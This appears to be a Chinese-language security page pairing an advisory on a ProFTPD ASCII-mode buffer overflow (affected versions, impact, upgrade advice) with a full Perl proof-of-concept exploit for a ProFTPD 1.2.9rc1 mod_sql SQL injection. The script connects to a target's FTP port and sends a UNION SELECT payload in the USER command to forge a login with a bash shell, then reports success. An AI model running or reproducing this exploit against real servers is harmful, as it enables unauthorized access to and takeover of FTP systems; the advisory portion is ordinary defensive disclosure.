信息来源:中国台湾
內容
ProFTPD伺服器存在一個漏洞,能被遠端攻擊者使用ASCII模式從 FTP 伺服器傳送檔案所引發。攻擊者必須擁有上傳檔案到伺服器的權限,之後嘗試下載同一個檔案來引發這個漏洞。
此漏洞發生於檔案使用ASCII 模式去進行傳送的時候。當使用這模式去傳送檔案時,檔案的資料會以 1024位元為單位,不停地去檢查新行字元(\n)。因此,當 ProFTPD 在分析一些特別設計的檔案時,若不能正確地翻譯新行字元,便會引致緩衝區滿溢。
為了降低成功攻擊所獲得的權限, ProFTPD daemon 不會使用超級使用者權限來執行。
影響
攻擊者能夠上傳檔案至有漏洞的系統,便可引發緩衝區滿溢及執行任意的程式碼去獲取系統的完全控制權。攻擊者可利用這個漏洞去進行破壞、偷取或修改 FTP 網站上的資料。
受影響之系統
ProFTPD 1.2.7
ProFTPD 1.2.8
ProFTPD 1.2.8rc1
ProFTPD 1.2.8rc2
ProFTPD 1.2.9rc1
ProFTPD 1.2.9rc2
解決方案
請於安裝修補程式前瀏覽軟件供應商之網頁,以獲得更詳盡資料。
當ProFTPD發放供修補程式時,請 ProFTPD使用者升級到修正版本。
http://www.proftpd.org/
相關連結
http://xforce.iss.net/xforce/alerts/id/154
http://www.proftpd.org/
資料來源
CERT/CC
ProFTPD 1.2.9rc1 mod_sql SQL Injection remote Exploit
* Version TXT Disponible ici *
#!/usr/bin/perl
# ProFTPD 1.2.9 rc1 mod_sql SQL Injection remote Exploit
# Spaine - 2003
use IO::Socket;
if(@ARGC<2){
print "\nProof Of Concept Sql Inject on ProFTPD\n";
print "Usage: perl poc-sqlftp <target> [1=Alternate query]\n\n";
exit(0);
};
$server = $ARGV[0];
$query = $ARGV[1];
$remote =
IO::Socket::INET->new(Proto=>"tcp",PeerAddr=>$server,PeerPort=>"21",Reuse=>1)
or die "Can't connect. \n";
if(defined($line=<$remote>)){
print STDOUT $line;
}
# Proof of concept query, it may change on the number of rows
# By default, it can query User, Pass, Uid, Gid, Shell or
# User, Pass, Uid, Gid, Shell, Path, change the union query...
if($query eq "1"){
print $remote "USER ')UNION
SELECT'u','p',1002,1002,'/tmp','/bin/bash'WHERE(''='\n";
}else{
print $remote "USER ')UNION SELECT'u','p',1002,1002,'/bin/bash'
WHERE(''='\n";
};
if(defined($line=<$remote>)){
print STDOUT $line;
}
print $remote "PASS p\n";
if(defined($line=<$remote>)){
print STDOUT $line;
}
print "Sent query to $ARGV[0]\n";
if($line =~ /230/){ #logged in
print "[------- Sql Inject Able \n";
}else{
print "[------- Sql Inject Unable \n";
}
close $remote;